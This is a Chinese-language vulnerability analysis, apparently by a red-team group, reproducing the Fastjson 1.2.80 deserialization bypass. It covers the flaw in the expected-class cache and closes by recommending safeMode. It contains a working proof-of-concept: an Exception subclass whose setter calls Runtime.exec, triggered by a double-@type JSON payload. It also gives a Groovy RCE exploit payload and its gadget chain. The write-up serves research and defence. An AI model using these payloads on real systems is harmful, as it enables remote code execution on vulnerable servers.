Hi,我是承影战队的111nk,Fastjson在commit中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。本文针对更新前的Fastjson1.2.80版本存在的反序列化漏洞进行漏洞复现并分析该漏洞利用的方式。
一、1.2.68修复
在复现fastjson1.2.80反序列化漏洞之前,先看一看fastjson针对1.2.68的修复,对过滤的expectClass进行了修改,与1.2.68相比,新增了3个新的类,并且将原来的Class类型的判断修改为hash的判断。
通过查询黑名单https://github.com/LeadroyaL/fastjson-blacklist可以得知分别为:java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable
1.2.68的修复方式简单粗暴,而1.2.80漏洞就利用了另一个期望类:异常类Throwable。
二、漏洞原理
漏洞原理是基于Fastjson反序列化恢复类实例时,需要恢复用到了的类属性,而CheckAutoType中期望类机制会在在实例化类属性的对应类后将其加入到类缓存mappings中。如果这个属性是可利用的类且我们可控,可以直接利用或者进一步横向扩展出其它类间接利用。依靠属性名赋值时的隐式类间关系,不再需要在JSON中显式指定@type,从缓存中取类在修复前不会判断autoTypeSupport,从而绕过了autoType的白名单检查。
三、漏洞复现
这里我们使用maven构造fastjson1.2.80的环境进行漏洞复现。
Pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>fastjson</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>fastjson</name>
<description>Demo project for Spring Boot</description>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<java.version>1.8</java.version>
<fastjson.version>1.2.80</fastjson.version>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
</dependencies>
</project>
Poc.java:
package com.example.fastjson.poc;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}
Pocdemo.java:
package com.example.fastjson.poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc.Poc\",\"name\":\"open /System/Applications/Calculator.app\"}";
JSON.parse(json);
}
}
调试跟踪如下:
因为是异常类,所以在
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)拿到的是ThrowableDeserializer反序列化器。
由于CheckAutoType中判断当期望类不为空且符合继承关系,则返回对应类,此时返回了恶意类。
漏洞触发时调用堆栈可知漏洞触发点为
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName)中。
setValue调用setter导致执行恶意方法:
四、漏洞利用与分析
在目前已经公开的研究成果中,给出了可以作为gadget的条件是:
1.类为Throwable的子类;
2.setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。
根据披露出来的研究成果,继承于 java.lang.Exception 的类能够导致的漏洞:Jdbc connection RCE、Groovy RCE、Ognl读写文件、Aspectj读文件等。作者还给了一些payload和具体的链,这里的漏洞利用分析我们以 Groovy RCE为例,Exp分为两部分:
{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}
1.首先指定显式期望类,实例化CompilationFailedException并被加入类缓存,并通过unit属性,将隐式类间关系实例化并被加入类缓存
2.后续进入构造的利用链,利用链如下:
org.codehaus.groovy.tools.javac.JavaStubCompilationUnit#init(CompilerConfiguration config,...)
org.codehaus.groovy.control.CompilationUnit#init
org.codehaus.groovy.control.CompilationUnit#addPhaseOperations
org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations
org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms
org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms
详细调试利用过程如下:
首先构造恶意类。
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中:
expectClassFlag为true,所以会从classloader中加载
org.codehaus.groovy.control.CompilationFailedException拿到class,并且期望类不为空时会调用TypeUtils.addMapping(typeName, clazz)把目标类加入到类缓存中:
因为是异常类,所以拿到的是ThrowableDeserializer反序列化器:
并用反序列化器拿到对应字段的字段反序列化实例FieldDeserializer。
如果value不是fieldClass类型的会进入进行类型转换,最后进入castToJavaBean,这里会调用getDeserializer(),此时参数是ProcessingUnit类clazz字段的类型:
在getDeserializer函数中,调用自身putDeserializer函数:
字段类型Unit在进入getDeserializer函数时会将
org.codehaus.groovy.control.ProcessingUnit put到ParserConfig的deserializers列表中。
在第二个exp打入时,对
"@type":"org.codehaus.groovy.control.ProcessingUnit"进行checkAutoType时就能拿到ProcessingUnit类而不会抛出异常了。
后续实例化JavaStubCompilationUnit后,会将可控参数classpathList传入org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms:
后续进入
org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperationsForGlobalTransforms实例化恶意类:
设置本地恶意类监听:
触发漏洞:
五、总结
从本质上讲,Fastjson1.2.68反序列化漏洞与Fastjson1.2.80反序列化漏洞都是利用期望类对CheckAutoType防护机制进行绕过,但不管是Fastjson1.2.68还是Fastjson1.2.80的漏洞修复方式皆为添加黑名单;其实针对Fastjson反序列化漏洞,从Fastjson1.2.68版本之后有一个一劳永逸的方法-开启safeMode。safeMode,可直译为安全模式,当开启safeMode后,恶意payload在进入CheckAutoType后会在函数最开始部分进行判断后直接抛出异常,正是由于safeMode直接禁用autotype 机制,从而可以彻底解决反序列化造成的问题。
显然这种安全模式在防止反序列化造成问题的同时,也让开发者无法享受autotype机制带来的便利,而对于一些较为成熟应用系统,草率的开启safeMode,甚至有可能会导致业务上的问题,所以Fastjson这片攻防战场,仍然时刻弥漫着战火与硝烟。
六、参考链接
https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
承影战队
新华三承影战队,专注前沿攻击技术研究,研究方向包括web攻防、0day挖掘、红队工具开发等,长期招聘攻防研究员,简历投递:jiang.wenming@h3c.com (请注明来自FreeBuf)